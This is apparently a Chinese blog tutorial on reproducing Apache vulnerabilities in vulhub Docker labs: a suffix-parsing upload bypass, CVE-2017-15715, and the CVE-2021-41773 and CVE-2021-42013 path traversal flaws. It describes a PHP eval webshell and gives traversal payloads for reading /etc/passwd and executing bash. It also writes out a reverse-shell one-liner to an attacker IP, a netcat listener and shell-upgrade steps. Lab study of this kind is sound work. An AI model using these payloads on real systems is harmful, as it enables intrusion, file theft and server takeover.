docker搭建Apache漏洞环境并实现其中几个相关漏洞(centos kali)

目录

1.Apache多后缀解析漏洞复现

2Apache换行解析漏洞复现(CVE-2017- 15715)

CVE-2021-41773 漏洞复现

文件读取

文件执行

反弹shell

交互shell

CVE-2021-42013 漏洞复现


Apache(音译为阿帕奇)是世界使用排名第一(应该已经被取代了)的Web服务器软件。它可以运行在几乎所有广泛使用的计算 机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。 它可以运行在几乎所有广泛使用的计算机平台上。 Apache源于NCSA httpd服务器,经过多次修改,成为世界上最流行的Web服务器软件之一。Apache取 自“a patchy server”的读音,意思是充满补丁的服务器,因为它是自由软件,所以不断有人来为它开发 新的功能、新的特性、修改原来的缺陷。

简单来说就是一个搭建web页面的,这里通过docker搭建了个vulhub靶场来进行漏洞的复现。docker是一个创建容器的工具,而vulhub相当于一个有很多漏洞的仓库。将其存放在docker下并通过docker-compose调用相应漏洞。(可以先看别的佬咋搭的,需要搭建docker,vulhub,docker-compose)

1.Apache多后缀解析漏洞复现

该漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache多后缀解析漏洞涉及到一 个Apache解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识 别,则继续向左识别。 如果运维人员给.php后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。

首先,进入到vulhub靶场,通过docker-compose up -d启动,看到哪个done意味着服务启动成功(ps:多用tab,直接补全。)

靶场界面,很明显这个是个文件上传的漏洞,可以通过先尝试上传各种文件(txt,php,jpg等)看看具体情况

通过尝试,发现txt和php后缀的文件都无法上传,但是jpg与png后缀的文件都可以上传,这时可以尝试修改后缀看看能否绕过,需要用到一款网络抓包工具(Burpusite)kali有自带。

登录后,点击Proxy,准备开始抓包,但开始抓包需要设置抓包的代理(这里的代理可以理解为开启一个端口,流量会专门从burpusite这个软件里走,不会直接从网络上流到,作用便是拦截信息进行修改。)

通过点击kali的自带的火狐浏览器,点击设置,搜索proxy,界面改成这模样(这里的8080的端口是bp里自带的,可以通过bp中setting里找到。)

配置好代理后,点开拦截按钮,上传一个php文件,点击提交查询并拦截。

这个便是抓包抓到的数据,上面的post是请求方式,host为主机ip,user-Agent是ua头,来判断是电脑还是手机或者其他设备的登录方式(其他自己麻烦自己看别的佬)

下面这个一句话木马,俗称小马,是普通安全人员最开始能接触到的一种木马,通过php语言进行编写<?php ?>是php的语法格式 其中 eval是一个函数 作用是将任何PHP代码作为字符串传递给它,然后它会被当作真实的PHP代码来执行。其实可以简单的理解成会强制执行后面那堆玩意,

$_POST 是一个超全局数组,用于收集通过HTTP POST方法提交的数据'xxx' 是这个数组的一个键,表示从表单或其他POST请求中接收到的名为“xxx”的数据(上面是问ai的),简单来说 这xxx就是一个密码,外边那一堆就是可以得到post请求数据的框架,将木马上传成功后,可以通过这个xxx密码来得到相应的web权限。

拦截数据包后,键盘点击ctrl+R键,将其放到重放器repeater里,进行更改后缀的操作。

进行后缀修改

发现后缀更改后上传成功,状态码为200(就是成功)并且出现了上传成功的路径,这时就可以通过一些连接工具来连接这个一句话木马,这里使用蚁剑连接(ps:蚁剑也是个很常用的工具,可以上github上面下载或者看看其他佬的博客下载)。

ps:(大部分情况重放器(repeater)修改完后点击send以后就不用再回到proxy进行修改了,直接点击on即可(这里为了稳妥就全改了))

而后便可以连接蚁剑,得到webshell

注意这里的蚁剑连接的是php类型,所以url需要存在php后缀才可以连接,直接改成jpg是无法连接上的。

2Apache换行解析漏洞复现(CVE-2017- 15715)

该漏洞只存在于httpd 2.4.0~2.4.29,在解析PHP时, 1.php\x0A 将被按照PHP后缀进行 解析,导致绕过一些服务器的安全策略。

漏洞复现,同上,docker下开启漏洞环境(之前的要关掉 命令docker-compose down(在那个靶场的路径下输入))

用kali连接该虚拟机(这个环境默认开8080端口)

根据该页面,可以看出来这也是个关于文件上传的漏洞,因此可以尝试上传一些基础的文件(这里上传了.txt,.jpg,.php,.png)等常用模块,发现全部都显示上传失败。

因此,需要通过抓包来对这个上传文件的信息进行解析,看看是否有迹可循。

将所抓到的包放到重放器并对其进行发送后,发现服务器给的响应是个200的成功响应码

ps:常见的服务器状态响应码有5种

1开头表示临时响应,如100,表示收到消息继续等待请求

2开头表示成功如200

3开头表示重定向,如301(永久重定向) 302(临时重定向)

4开头表示客户端请求错误,比如404(文件未找到)

5开头表示服务器端错误,如503(服务不可用)

虽然目前是个漏洞环境的模拟,但在真实环境下,如果能得到对方服务器的信息,我们就可以通过该服务器去网上进行搜索相关服务器版本可能存在的漏洞,并进行检测。(咱这种初学的菜菜想多挖洞多长见识只能多用百度,等厉害了就是以后的事辣)

如上图,由于该靶场的原因,会自带一个filename的文件名。具体代码咱也不敢讲(有兴趣可以百度),简单来说就是该版本中,由于用户的疏忽,对php的禁用出现纰漏,导致只要在上传的php后加个\n(php\n)就可以对网站的防御进行绕过。而0x0a就是十六进制下的\n。

对其中的0d,右键,点击insert byte(不是那个bytes)将其修改成0a,确定,得到如下结果

修改完成后,点击send,即可发现php文件上传成功(ps:咱文件是个一句话木马,是不会出现具体回显的,可以通过状态码判断上传情况)

通过对上传的木马进行访问,访问成功。这里加了个%0a是因为刚刚修改了php后缀,添加了个0a上去,因此这边也需要跟上才可以访问到木马。百分号可以理解为是用来连接这个0a的桥梁,加上才能连到0a,从而找到这个木马。

成功连接

CVE-2021-41773 漏洞复现

Apache httpd Server 2.4.49 版本引入了一个新的函数,在对路径参数进行规范化时会先进行url解 码,然后判断是否存在../的路径穿越符,当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制 字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在../。如果路径中 存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,因此可以使用.%2e/或 者%2e%2e绕过对路径穿越符的检测实现目录遍历。 但需要配合穿越的目录配置 Require all granted,攻击者可利用该漏洞实现路径穿越从而读取任意文 件,或者在配置了cgi的httpd程序中执行bash指令,从而有机会控制服务器。

这里用大白话对上面这一堆简单解释一下:

这个版本的appache引入了一个函数,他会自动去判断是否有../这个路径穿越符(../在linux和windows中的作用是访问上一级目录,如果没有对这东西进行过滤,会导致别人通过../直接访问到根目录下。)ps 不好简短,举个图例

得知原理,开始操作,还是先启动靶场

可以看到这玩意变了,做不了任何操作,只能先进行抓包(通过刷新)ps:正常网站都是有很多接口按钮和目录是可以点击的,实际情况下可以随便点个可以访问的目录,通过%2e%2e/去进行信息的读取。

又看到版本号了₍ᐢ.ˬ.⑅ᐢ₎

文件读取

通过/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd对文件进行读取,读的是passwd下的数据,(读shadow或者别的啥的都行)发送后即可得到数据。(这个读取的是啥看不懂可能得去复习一下linux)

ps:(因为../是个读取上级目录的文件,但这个页面下上什么都没有,所以直接读是不行的,而这个icons 其实是一个目录,是由这个漏洞的设计者提供的,不是说啥很高深的玩意,是和这个漏洞一起诞生的,并且只有这一个目录,所以可以通过该目录利用这个漏洞)

能光读取这个文件当然是不够用的,还可以利用这个漏洞来对里面的文件进行命令执行操作,需要右键修改请求方法,手改可能会出毛病

ps(如果改完有问题可以重新抓包再改  )

文件执行

cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash  其中,这个cgi-bin是apache服务下默认开启的一个目录,默认存在且开启,可以直接读取到(可以在开启apache的那台机子里,输入/etc/httpd/conf里查看),而后面的bin/bash是当你在命令行中输入 /bin/bash 并按回车时,你会启动一个新的 Bash shell 会话。这意味着你会进入一个新的 shell 环境,可以在其中执行命令 这里也就默认开启一个shell窗口,而这里也是通过目录直接指定到bash下面,再通过echo来查看相应的信息。

其中;是一种语法格式  在linux中 的作用是语句会从左往右按顺序执行。上图中  echo表示执行/输出,ls查看当前目录下的信息,顺序结合起来便是查看当前目录下的信息。(都是linux中的语法)

反弹shell

可以在这上面执行一个反弹shell,更方便的执行权限。

bash -c 'bash -i >& /dev/tcp/192.168.228.163/8888 0>&1'

bash -c:指定使用bash这个shell来执行后面的命令

bash -i:启动一个交互式的shell

>&:标准输出和错误输出都进行重定向

/dev/tcp/192.168.127.135/8888:要重定向到的位置

此处为192.168.127.135:8888 0>&1:把标准输入重定向到标准输出

通过在kali监听一个端口,通过该漏洞,执行一个反弹shell来得到其权限,可以更方便的进行数据查询。ps:(监听: nc -lnvp 8888  nc表示开启监听(第一次监听好像要下载),lnvp是参数:-l 监听 -v 显示更多信息 -p 端口 -n 不要dns反向查询域名)监听成功后看向监听的主机,即可看到数据。

反弹shell的作用就是让攻击机更方便的使用被攻击机(靶机)的权限。

交互shell

此外,反弹shell还可以升级为交互shell,通过交互shell执行的速度更快,并且一些普通shell可能遇到的bug也会消失(前提:需要对方有python环境)但由于是通过docker启动的实验,docker下是没有python环境的,因此这里通过centos来对kali(kali默认都有python)做一个交互shell,仅供演示。ps:(只是实验,加深映像)

先切换到/bin/bash下(kali问题需要先切换 否则无法进入原始模式(原始模式自行百度))

python -c 'import pty; pty.spawn("/bin/bash")' 作用:使用Python来创建一个新的终端并在这个终端中启动bash。

stty raw:将终端从"cooked"模式切换 到"raw"模式。在"cooked"模式下,终端会处理例如行编辑、回显等特性。而在"raw"模式下,这些特性都 是禁用的,数据会直接从键盘传到程序,没有任何处理。

fg 作用:将之前已经发送到后台的进程(在这里是你的反弹shell)带回到前台。

reset 作用:重置和初始化终端

export SHELL="bash" 作用:设置使用的shell为bash

升级完成(ps:普通shell模式下是无法执行more命令的)

CVE-2021-42013 漏洞复现

Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越, 但是由于在请求处理过程中,还会对参数再次进行解码,仍然会导致路径穿越。

漏洞页面(和前面那个是一样的页面,通过抓包得到参数)

可以看到版本都不一样了

该漏洞和上个漏洞原理都差不多,出现的原因是因为上次那个漏洞经过修补但问题依旧存在,不过需要二次编码。(第一次编码不是../ 第二次编码是../即可绕过)

可以看到这玩意解码后又变成了.

因此,构造语句进行攻击

和上面那个基本一样(ps:如果更改post方法后出现错误,重新抓个包)

  • 12
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值